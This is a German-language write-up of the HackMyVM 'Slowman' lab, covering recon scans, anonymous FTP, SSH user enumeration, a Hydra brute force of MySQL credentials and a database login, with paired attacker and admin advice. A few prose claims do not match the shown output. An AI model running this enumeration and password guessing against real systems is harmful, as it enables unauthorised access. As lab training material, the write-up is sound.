Slowman - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
curl
mysql
ftp
cat
ssh-username-enum.py
dirb
hydra
wget
zip2john
john
unzip
ll (ls -l)
echo
ssh
sudo
ss
find
msfconsole
rm
mkfifo
nc (Netcat)
python3
chmod
pspy64
linpeas.sh
getcap
setcap
grep
ssh-agent
su

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Test beginnt mit einem `arp-scan -l`, um aktive Geräte im lokalen Netzwerk zu identifizieren.

Bewertung: Das Zielsystem "Slowman" wird mit der IP `192.168.2.113` und der MAC-Adresse `08:00:27:04:7d:c6` (Oracle VirtualBox) gefunden.

Empfehlung (Pentester): Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung auf ARP-Scans und Segmentierung implementieren.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:04:7d:c6	PCS Systemtechnik GmbH
                    

Analyse: Die `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um der IP `192.168.2.113` den Hostnamen `slowman.hmv` zuzuweisen.

Bewertung: Die Zuordnung erleichtert die Handhabung in nachfolgenden Schritten.

Empfehlung (Pentester): Verwenden Sie den Hostnamen `slowman.hmv` für alle weiteren Aktionen.
Empfehlung (Admin): Lokale Angreifer-Konfiguration, keine direkte Auswirkung auf das Ziel.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.113   slowman.hmv
                    

Analyse: Der Webserver-Scanner `nikto` wird auf Port 80 des Ziels ausgeführt.

Bewertung: Nikto identifiziert Apache/2.4.52 (Ubuntu), meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein mögliches ETag-Inode-Leak (CVE-2003-1418), eine veraltete Apache-Version und erlaubte HTTP-Methoden (inklusive des ungewöhnlichen `PTINS`). Wichtig ist auch, dass Directory Indexing für `/css/` und `/images/` gefunden wurde.

Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse mit aktiviertem Directory Indexing. Notieren Sie die fehlenden Header und die veraltete Apache-Version für mögliche weitere Angriffe. Die `PTINS`-Methode ist ungewöhnlich und sollte genauer betrachtet werden.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Aktualisieren Sie Apache. Deaktivieren Sie Directory Indexing. Untersuchen und deaktivieren Sie ungewöhnliche HTTP-Methoden wie `PTINS`, falls nicht benötigt.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.113
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2023-12-04 23:28:11 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 402e, size: 60ad6afe32cc0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-12-04 23:28:26 (GMT1) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sV -A -T5 -p-`) wird auf das Ziel durchgeführt, um alle offenen Ports, Dienste, Versionen und das Betriebssystem zu ermitteln.

Bewertung: Nmap findet vier offene Ports: * **21/tcp (FTP):** vsftpd 3.0.5, anonymer Login erlaubt, aber Verzeichnisliste schlägt fehl (Timeout). * **22/tcp (SSH):** OpenSSH 8.9p1 (Ubuntu). * **80/tcp (HTTP):** Apache httpd 2.4.52 (Ubuntu), Seitentitel "Fastgym". * **3306/tcp (MySQL):** MySQL 8.0.35 (Ubuntu), Authentifizierungsplugin `caching_sha2_password`. Nmap liefert auch SSH-Hostkeys, OS-Vermutungen (Linux) und bestätigt die MAC-Adresse.

Empfehlung (Pentester): Untersuchen Sie jeden offenen Port: FTP (trotz Timeout beim Listing), SSH (Brute-Force, bekannte Schwachstellen), HTTP (Web-Enumeration) und MySQL (Versuch von Standard-/erratenen Logins, bekannte Schwachstellen). Der anonyme FTP-Zugang ist trotz des Listing-Problems interessant.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn nicht benötigt. Härten Sie SSH und Apache. Stellen Sie sicher, dass MySQL nicht von außen erreichbar ist, wenn nicht notwendig, und verwenden Sie starke Passwörter. Halten Sie alle Dienste aktuell.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.113 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-04 23:28 CET
Nmap scan report for slowman.hmv (192.168.2.113)
Host is up (0.00020s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE  SERVICE  VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:d6:5e:01:45:5b:8d:2d:f9:cb:0b:df:45:67:04:22 (ECDSA)
|_  256 f9:ce:4a:75:07:d0:05:1d:fb:a7:a7:69:39:1b:08:10 (ED25519)
80/tcp   open   http     Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Fastgym
3306/tcp open   mysql    MySQL 8.0.35-0ubuntu0.22.04.1
| ssl-cert: Subject: commonName=MySQL_Server_8.0.35_Auto_Generated_Server_Certificate
| Not valid before: 2023-11-22T19:44:52
|_Not valid after:  2033-11-19T19:44:52
|_ssl-date: TLS randomness does not represent time
| mysql-info:
|   Protocol: 10
|   Version: 8.0.35-0ubuntu0.22.04.1
|   Thread ID: 14
|   Capabilities flags: 65535
|   Some Capabilities: SupportsTransactions, InteractiveClient, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, IgnoreSigpipes, LongColumnFlag, SwitchToSSLAfterHandshake, Support41Auth, SupportsLoadDataLocal, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, FoundRows, ConnectWithDatabase, ODBCClient, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: \x17j%%.\x12q\x10}
| eKqD\x14
| [si`
|_  Auth Plugin Name: caching_sha2_password
MAC Address: 08:00:27:04:7D:C6 (Oracle VirtualBox virtual NIC)
Device type: general purpose|storage-misc|WAP
Running (JUST GUESSING): Linux 5.X|4.X|2.6.X|3.X (98%), HP embedded (89%), Ubiquiti AirOS 5.X (88%), Ubiquiti embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/h:hp:p2000_g3 cpe:/o:ubnt:airos:5.2.6 cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:ubnt:airmax_nanostation
Aggressive OS guesses: Linux 5.0 - 5.4 (98%), Linux 4.15 - 5.8 (94%), Linux 5.1 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (93%), Linux 5.0 - 5.5 (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 - 4.11 (91%), Linux 5.0 (91%), Linux 3.10 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.20 ms slowman.hmv (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.85 seconds
                    

Analyse: Der vorherige Nmap-Scan wird wiederholt, diesmal aber mit `| grep open`, um nur die offenen Ports zu listen.

Bewertung: Bestätigt die vier offenen Ports: 21 (FTP), 22 (SSH), 80 (HTTP), 3306 (MySQL).

Empfehlung (Pentester): Diese gefilterte Ansicht ist nützlich für einen schnellen Überblick.
Empfehlung (Admin): Keine neuen Erkenntnisse gegenüber dem vorherigen Scan.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.113 -p- | grep open
21/tcp   open   ftp      vsftpd 3.0.5
22/tcp   open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http     Apache httpd 2.4.52 ((Ubuntu))
3306/tcp open   mysql    MySQL 8.0.35-0ubuntu0.22.04.1
                     

Web Enumeration

Analyse: `gobuster` wird für eine Verzeichnis- und Dateisuche auf `http://slowman.hmv` verwendet. Es nutzt eine umfangreiche Liste von Erweiterungen (`-x`) und eine gängige Wortliste (`directory-list-2.3-medium.txt`).

Bewertung: Gobuster findet die Standard-Webseiten-Dateien (`index.html`, `contact.html`, `why.html`) sowie die Asset-Verzeichnisse (`images`, `css`, `js`). Keine offensichtlich versteckten oder ungewöhnlichen Pfade werden in diesem Durchlauf entdeckt.

Empfehlung (Pentester): Analysieren Sie den Inhalt der gefundenen HTML-Dateien (Quellcode, sichtbarer Text). Untersuchen Sie die Verzeichnisse, für die Nikto Directory Indexing gemeldet hat (`/css/`, `/images/`).
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen in den gefundenen Dateien/Verzeichnissen enthalten sind. Deaktivieren Sie Directory Indexing.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://slowman.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://slowman.hmv/index.html           (Status: 200) [Size: 16430]
http://slowman.hmv/images               (Status: 301) [Size: 311] [--> http://slowman.hmv/images/]
http://slowman.hmv/contact.html         (Status: 200) [Size: 5232]
http://slowman.hmv/css                  (Status: 301) [Size: 308] [--> http://slowman.hmv/css/]
http://slowman.hmv/js                   (Status: 301) [Size: 307] [--> http://slowman.hmv/js/]
http://slowman.hmv/why.html             (Status: 200) [Size: 6115]
                    

Analyse: Mit `curl` wird eine HTTP-Anfrage mit der ungewöhnlichen Methode `PTINS` (von Nikto gemeldet) an den Webserver gesendet.

Bewertung: Der Server antwortet mit `200 OK` und listet `PST, PTINS, HEAD, GET` (vermutlich POST statt PST) im `Allow`-Header auf. Dies bestätigt, dass der Server diese ungewöhnliche Methode akzeptiert. Es ist unklar, was `PTINS` bewirkt, könnte aber auf eine Fehlkonfiguration oder eine versteckte Funktionalität hindeuten.

Empfehlung (Pentester): Versuchen Sie, die `PTINS`-Methode weiter zu untersuchen. Senden Sie Anfragen mit dieser Methode an verschiedene Endpunkte und analysieren Sie die Antworten. Es könnte sich um eine Methode handeln, die zur Umgehung von Sicherheitsmaßnahmen oder zur Ausführung bestimmter Aktionen missbraucht werden kann.
Empfehlung (Admin): Deaktivieren Sie alle nicht standardmäßigen und unnötigen HTTP-Methoden wie `PTINS` in der Apache-Konfiguration (``).

┌──(root㉿cyber)-[~] └─# curl -v -X PTINS http://192.168.2.113
*   Trying 192.168.2.113:80...
* Connected to 192.168.2.113 (192.168.2.113) port 80
> PTINS / HTTP/1.1
> Host: 192.168.2.113
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 04 Dec 2023 22:29:38 GMT
< Server: Apache/2.4.52 (Ubuntu)
< Allow: POST,PTINS,HEAD,GET
< Content-Length: 0
< Content-Type: text/html
<
* Connection #0 to host 192.168.2.113 left intact
                    

Analyse: Manuelle Untersuchung des Quellcodes verschiedener HTML-Seiten (`why.html`, `index.html`, `trainer.html`) und Notizen zur verwendeten Technologie-Stack.

Bewertung: Die Quellcode-Analyse ergibt eine E-Mail-Adresse (`slowman@gmail.com`) und zwei Trainernamen (`Jean Doe`, `Jeff Den`). Die Technologie-Stack-Analyse (Google Fonts, Apache, Ubuntu, CDNs, jQuery, Bootstrap etc.) liefert Kontext, aber keine direkten Schwachstellen.

Empfehlung (Pentester): Die E-Mail-Adresse könnte für Phishing oder als potenzieller Benutzername verwendet werden. Die Trainernamen (`jean`, `jeff`) sind potenzielle Benutzernamen für Brute-Force-Angriffe.
Empfehlung (Admin): Vermeiden Sie die Offenlegung von E-Mail-Adressen im Quellcode, wenn möglich. Seien Sie sich bewusst, dass öffentlich sichtbare Namen als Benutzernamen erraten werden können.

view-source:http://slowman.hmv/why.html
  slowman@gmail.com

view-source:http://slowman.hmv/index.html
  Our Gym Trainers

view-source:http://slowman.hmv/trainer.html

 Trainer Jean Doe
 Trainer Jeff Den

Schrift Script
Google Font API

Web Server
Apache HTTP Server 2.4.52

Betriebssysteme
Ubuntu

CDN
cdnjs
Cloudflare

JavaScript Bibliotheken
jQuery 3.4.1
OWL Carousel

UI Frameworks
Bootstrap 4.3.1
                     

Analyse: Es wird versucht, sich remote am MySQL-Server (`slowman.hmv`, Port 3306) als Benutzer `root` ohne Passwort anzumelden.

Bewertung: Der Zugriff wird verweigert (`Access denied for user 'root'@'PC192-168-2-199'`). Dies zeigt, dass der MySQL-Server von extern erreichbar ist, aber der Root-Zugriff von dieser IP (oder generell von remote) nicht erlaubt ist oder ein Passwort erfordert.

Empfehlung (Pentester): Versuchen Sie, andere MySQL-Benutzernamen zu erraten oder zu finden (z.B. aus Webanwendungen, Konfigurationsdateien). Führen Sie Passwort-Brute-Force-Angriffe gegen gefundene Benutzernamen durch.
Empfehlung (Admin): Beschränken Sie den Zugriff auf den MySQL-Server nur auf notwendige Hosts (z.B. `localhost` oder spezifische Anwendungsserver). Verwenden Sie starke Passwörter für alle MySQL-Benutzer. Deaktivieren Sie den Root-Remote-Login.

┌──(root㉿cyber)-[~] └─# mysql -h slowman.hmv -u root
ERROR 1045 (28000): Access denied for user 'root'@'PC192-168-2-199' (using password: NO)
                     

Analyse: Anonymer Login auf dem FTP-Server (Port 21). Nach dem Login werden die Befehle `id` (nicht erlaubt) und `ls` ausgeführt.

Bewertung: Der anonyme Login ist erfolgreich. Im Gegensatz zum Nmap-Scan funktioniert das Auflisten des Verzeichnisses (`ls`) nun und zeigt eine Datei `allowedusersmysql.txt`. Der `id`-Befehl ist nicht erlaubt, was für FTP normal ist.

Empfehlung (Pentester): Die Datei `allowedusersmysql.txt` ist höchst interessant. Laden Sie sie sofort herunter und analysieren Sie den Inhalt.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff. Legen Sie niemals potenziell sensible Informationen wie Benutzerlisten in öffentlich zugänglichen Bereichen ab.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.113
Connected to 192.168.2.113.
220 (vsFTPd 3.0.5)
Name (192.168.2.113:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> id
550 Permission denied.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              12 Nov 22 21:46 allowedusersmysql.txt
226 Directory send OK.
                    

Analyse: Innerhalb der anonymen FTP-Sitzung wird versucht, eine Datei (`shell.sh`) hochzuladen (`put`). Es wird versucht, in verschiedene Verzeichnisse zu wechseln (`cd ~`, `cd /var`). Das aktuelle Verzeichnis wird geprüft (`pwd`) und die Zieldatei `allowedusersmysql.txt` heruntergeladen (`get`). Schließlich wird der Inhalt des aktuellen Verzeichnisses erneut detailliert aufgelistet (`ls -al`).

Bewertung: Der Upload schlägt fehl (Permission denied). Der Wechsel ins Wurzelverzeichnis (`/`) ist erfolgreich, aber der Wechsel nach `/var` schlägt fehl. Die Datei `allowedusersmysql.txt` wird erfolgreich heruntergeladen. Die Auflistung bestätigt, dass sich nur diese Datei im anonymen FTP-Root befindet.

Empfehlung (Pentester): Analysieren Sie die heruntergeladene Datei `allowedusersmysql.txt`. Der anonyme FTP scheint keine weiteren Angriffsflächen zu bieten.
Empfehlung (Admin): Korrekte Konfiguration, dass anonyme Benutzer keine Schreibrechte haben und nicht beliebig navigieren können. Die Existenz der Informationsdatei ist jedoch problematisch.

ftp> put shell.sh
local: shell.sh remote: shell.sh
200 EPRT command successful. Consider using EPSV.
550 Permission denied.
                     
ftp> cd ~
250 Directory successfully changed.
ftp> pwd
Remote directory: /
ftp> cd /var
550 Failed to change directory.
ftp> get allowedusersmysql.txt
local: allowedusersmysql.txt remote: allowedusersmysql.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for allowedusersmysql.txt (12 bytes).
100% |***********************************|    12       23.57 KiB/s    00:00 ETA
226 Transfer complete.
12 bytes received in 00:00 (16.09 KiB/s)
                     
ftp> ls -al
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        121          4096 Nov 22 21:46 .
drwxr-xr-x    2 0        121          4096 Nov 22 21:46 ..
-rw-r--r--    1 0        0              12 Nov 22 21:46 allowedusersmysql.txt
226 Directory send OK.
                     
ftp>

Analyse: Der Inhalt der heruntergeladenen Datei `allowedusersmysql.txt` wird mit `cat` angezeigt.

Bewertung: Die Datei enthält den Text `trainerjeff`. Dies ist höchstwahrscheinlich ein gültiger Benutzername für den MySQL-Dienst.

Empfehlung (Pentester): Verwenden Sie diesen Benutzernamen (`trainerjeff`) für Anmeldeversuche am MySQL-Dienst (Port 3306). Versuchen Sie Standardpasswörter oder führen Sie einen Brute-Force-Angriff mit Hydra durch.
Empfehlung (Admin): Speichern Sie niemals Benutzernamen oder andere sensible Daten in öffentlich zugänglichen Dateien.

┌──(root㉿cyber)-[~] └─# cat allowedusersmysql.txt
trainerjeff
                    

Analyse: Es wird versucht, sich per FTP als Benutzer `jeff` mit dem Passwort `trainerjeff` anzumelden.

Bewertung: Der Login schlägt fehl (`530 Login incorrect`). Der Benutzername oder das Passwort ist falsch für den FTP-Dienst.

Empfehlung (Pentester): Da `trainerjeff` explizit als MySQL-Benutzer identifiziert wurde, konzentrieren Sie die Angriffe mit diesem Namen auf MySQL.
Empfehlung (Admin): Keine spezifische Aktion, da der Login fehlschlug.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.113
Connected to 192.168.2.113.
220 (vsFTPd 3.0.5)
Name (192.168.2.113:cyber): jeff
331 Please specify the password.
Password: trainerjeff
530 Login incorrect.
ftp: Login failed
                    
ftp> ^D
221 Goodbye.

Analyse: Es wird versucht, sich per SSH als Benutzer `jeff` mit verschiedenen Passwörtern (implizit, eines davon `trainerjeff`) anzumelden.

Bewertung: Die Login-Versuche schlagen fehl (`Permission denied`).

Empfehlung (Pentester): Konzentrieren Sie sich auf validierte Benutzernamen und systematische Passwort-Angriffe (z.B. Hydra), anstatt manuell zu raten.
Empfehlung (Admin): Überwachen Sie fehlgeschlagene SSH-Logins und blockieren Sie Brute-Force-Versuche (z.B. mit `fail2ban`).

┌──(root㉿cyber)-[~] └─# ssh jeff@192.168.2.113
The authenticity of host '192.168.2.113 (192.168.2.113)' can't be established.
ED25519 key fingerprint is SHA256:gyWF404zV4bL8gskLfXbChI0buZepNktuMGUNM23CHQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.113' (ED25519) to the list of known hosts.
jeff@192.168.2.113's password:
Permission denied, please try again.
jeff@192.168.2.113's password: trainerjeff
Permission denied, please try again.
jeff@192.168.2.113's password:
                    

Analyse: Ein Python-Skript (`ssh-username-enum.py`, vermutlich basierend auf CVE-2018-15473) wird zur SSH-Benutzer-Enumeration verwendet. Es nutzt eine Wortliste (`../users.txt`) und ein Timeout (`-t 10`).

Bewertung: Das Skript identifiziert eine lange Liste potenziell gültiger Benutzernamen auf dem SSH-Server, darunter die bereits bekannten `mike`, `trainerjeff` und `jeff`, sowie viele andere wie `daniel`, `ben`, `jean`, etc. Einige Benutzernamen führen zu Fehlern (`SSH negotiation failed`).

Empfehlung (Pentester): Diese Liste erweitert die Anzahl der potenziellen Ziele für SSH-Brute-Force-Angriffe erheblich. Priorisieren Sie Namen, die im Kontext der Maschine sinnvoll erscheinen (`trainerjeff`, `jean`, `jeff`).
Empfehlung (Admin): Aktualisieren Sie OpenSSH auf eine Version, die nicht für CVE-2018-15473 anfällig ist, oder konfigurieren Sie es so, dass diese Art der Enumeration erschwert wird.

┌──(root㉿cyber)-[~/cve-2018-15473] └─# ./ssh-username-enum.py -t 10 -w ../users.txt 192.168.2.113
[+] OpenSSH version 8.9 found
[+] mike found!
[+] danie found!
[+] dany found!
[+] morre found!
[+] dani found!
[+] daniel found!
[!] SSH negotiation failed for user johny.
[+] dan found!
[+] joe found!
[!] SSH negotiation failed for user doe.
[+] trainerjeff found!
[+] jeff found!
[+] ben found!
[+] john found!
[+] benny found!
[+] benni found!
[+] jeand found!
[+] jeff.d found!
[+] den found!
[+] johnny found!
[+] jean found!
[+] jean.d found!
[+] laura found!
[+] jeffd found!
[+]  found!
                    

Analyse: Ein weiterer `dirb`-Scan wird durchgeführt, scheinbar mit denselben Parametern wie zuvor.

Bewertung: Die Ausgabe ist unvollständig, scheint aber dieselben Ergebnisse wie der vorherige `dirb`-Scan zu liefern (`/css`, `/images`, `index.html`, `/js`, `/server-status`). Keine neuen Erkenntnisse.

Empfehlung (Pentester): Vermeiden Sie redundante Scans, es sei denn, es gibt einen Grund zur Annahme, dass sich etwas geändert hat oder andere Parameter verwendet werden.
Empfehlung (Admin): Keine spezifische Aktion.

┌──(root㉿cyber)-[~] └─# dirb http://slowman.hmv

---- Scanning URL: http://slowman.hmv/ ----
==> DIRECTORY: http://slowman.hmv/css/
==> DIRECTORY: http://slowman.hmv/images/
+ http://slowman.hmv/index.html (CODE:200|SIZE:16430)
==> DIRECTORY: http://slowman.hmv/js/
+ http://slowman.hmv/server-status (CODE:403|SIZE:276)
                     

Analyse: Ein Nmap-Scan wird mit dem NSE-Skript `ftp-vsftpd-backdoor` auf Port 21 durchgeführt, um auf eine bekannte Backdoor in vsftpd Version 2.3.4 zu prüfen.

Bewertung: Der Scan findet den offenen FTP-Port, aber das Skript liefert keine positive Ausgabe, was bedeutet, dass die spezifische Backdoor (die ohnehin nur Version 2.3.4 betrifft, hier läuft 3.0.5) nicht vorhanden ist.

Empfehlung (Pentester): Das Ausschließen bekannter Backdoors ist Teil des Prozesses. Konzentrieren Sie sich auf andere Angriffsvektoren für vsftpd 3.0.5 oder den anonymen Zugriff.
Empfehlung (Admin): Gut, dass diese spezifische Backdoor nicht vorhanden ist. Halten Sie Software dennoch aktuell.

┌──(root㉿cyber)-[~] └─# nmap --script ftp-vsftpd-backdoor -p 21 slowman.hmv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-05 00:16 CET
Nmap scan report for slowman.hmv (192.168.2.113)
Host is up (0.00020s latency).

PORT   STATE SERVICE
21/tcp open  ftp
MAC Address: 08:00:27:04:7D:C6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
                      

Analyse: Dieser Block zeigt Details einer HTTP-Anfrage an `leostop.com`, die mit einem `503 Service Unavailable` beantwortet wurde. Die Header deuten auf Cloudflare als Server hin. Die Anfrage scheint von einem Browser (Firefox 115) zu stammen.

Bewertung: Dies scheint eine externe Tracking- oder Werbeanfrage zu sein, die von der `slowman.hmv`-Webseite ausgelöst wurde, aber fehlgeschlagen ist. Sie steht wahrscheinlich nicht in direktem Zusammenhang mit Schwachstellen auf dem Zielserver selbst, sondern mit extern eingebundenen Ressourcen.

Empfehlung (Pentester): Notieren Sie die externe Domain für OSINT-Zwecke, aber fokussieren Sie sich primär auf den Zielserver. Manchmal können Schwachstellen in Drittanbieter-Skripten relevant sein, aber ein 503-Fehler deutet eher auf ein Problem beim Drittanbieter hin.
Empfehlung (Admin): Überprüfen Sie externe Skripte, die auf Ihrer Webseite eingebunden sind, auf Notwendigkeit und Sicherheit. Fehlerhafte externe Ressourcen können die Ladezeiten oder Funktionalität beeinträchtigen.

GET
	https://leostop.com/tracking/tracking.js?_=1701732105529
Status
503
Service Unavailable
VersionHTTP/2
Übertragen1,22 kB (584 B Größe)
Referrer Policystrict-origin-when-cross-origin


alt-svc
	h3=":443"; ma=86400
cf-cache-status
	BYPASS
cf-ray
	8307c9fc9eb330e4-FRA
content-type
	text/html
date
	Mon, 04 Dec 2023 23:22:01 GMT
last-modified
	Tue, 15 Mar 2022 21:40:09 GMT
nel
	{"success_fraction":0,"report_to":"cf-nel","max_age":604800}
report-to
	{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=s2jHVmcusEWAXRk756CgfuafgXPmNshSofWhmePdo9L5GUr%2BBBXBHWh36T0Tn9JK2AwWwwb%2BsMeMQsbhEhXuZ%2FwV%2BuF9dlkpJvVsNRofMdCp6APsJE7VEgbSa9yQC9%2FmF14kPw%2F%2Ffk7SYA%3D%3D"}],"group":"cf-nel","max_age":604800}
server
	cloudflare

User-Agent
	Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
                      

Initial Access

Analyse: `hydra` wird verwendet, um das Passwort für den MySQL-Benutzer `trainerjeff` (gefunden in `allowedusersmysql.txt`) zu knacken. Als Passwortliste dient `rockyou.txt`. Hydra reduziert die Threads (`-t 4`), da MySQL oft keine hohe Parallelität mag.

Bewertung: Hydra ist erfolgreich und findet das Passwort `soccer1` für den MySQL-Benutzer `trainerjeff`.

Empfehlung (Pentester): Nutzen Sie diese Zugangsdaten, um sich bei der MySQL-Datenbank anzumelden und nach weiteren Informationen (Benutzerdaten, Konfigurationen, Webseiten-Daten) zu suchen.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Beschränken Sie die Berechtigungen von Datenbankbenutzern auf das absolut Notwendige.

┌──(root㉿cyber)-[~] └─# hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt 192.168.2.113 mysql -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-07 12:26:20
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344484 login tries (l:1/p:14344484), ~3586121 tries per task
[DATA] attacking mysql://192.168.2.113:3306/
[3306][mysql] host: 192.168.2.113   login: trainerjeff   password: soccer1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-07 12:26:40
                     

Analyse: Mit den gefundenen Zugangsdaten (`trainerjeff`:`soccer1`) wird eine Verbindung zur MySQL-Datenbank auf `slowman.hmv` hergestellt. Nach erfolgreicher Anmeldung werden die Datenbanken (`show databases;`), die `trainers_db` ausgewählt (`use trainers_db;`), die Tabellen darin angezeigt (`show tables;`) und der Inhalt der `users`-Tabelle abgefragt (`select * from users;`).

Bewertung: Die Datenbank `trainers_db` enthält eine Tabelle `users`. Diese Tabelle enthält zwei Einträge: 1. Benutzer `gonzalo` mit dem Passwort `tH1sS2stH3g0nz4l0pAsSWW0rDD!!`. 2. Einen Eintrag `$SECRETLGINURL` mit dem Wert `/secretLGIN/login.html`. Dies sind extrem wertvolle Funde: Zugangsdaten für einen anderen Benutzer (`gonzalo`) und ein Hinweis auf einen versteckten Login-Bereich.

Empfehlung (Pentester): Versuchen Sie sofort, sich mit den Zugangsdaten von `gonzalo` per SSH anzumelden. Untersuchen Sie den Pfad `/secretLGIN/login.html` auf dem Webserver.
Empfehlung (Admin): Speichern Sie Passwörter niemals im Klartext in Datenbanken; verwenden Sie stattdessen starke Hashing-Verfahren (z.B. bcrypt, Argon2). Beschränken Sie die Berechtigungen des Benutzers `trainerjeff` auf das Nötigste. Verstecken Sie Login-Pfade nicht nur durch obskure URLs, sondern sichern Sie sie angemessen.

┌──(root㉿cyber)-[~] └─# mysql -h slowman.hmv -u trainerjeff -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1235
Server version: 8.0.35-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| trainers_db        |
+--------------------+
5 rows in set (0.003 sec)

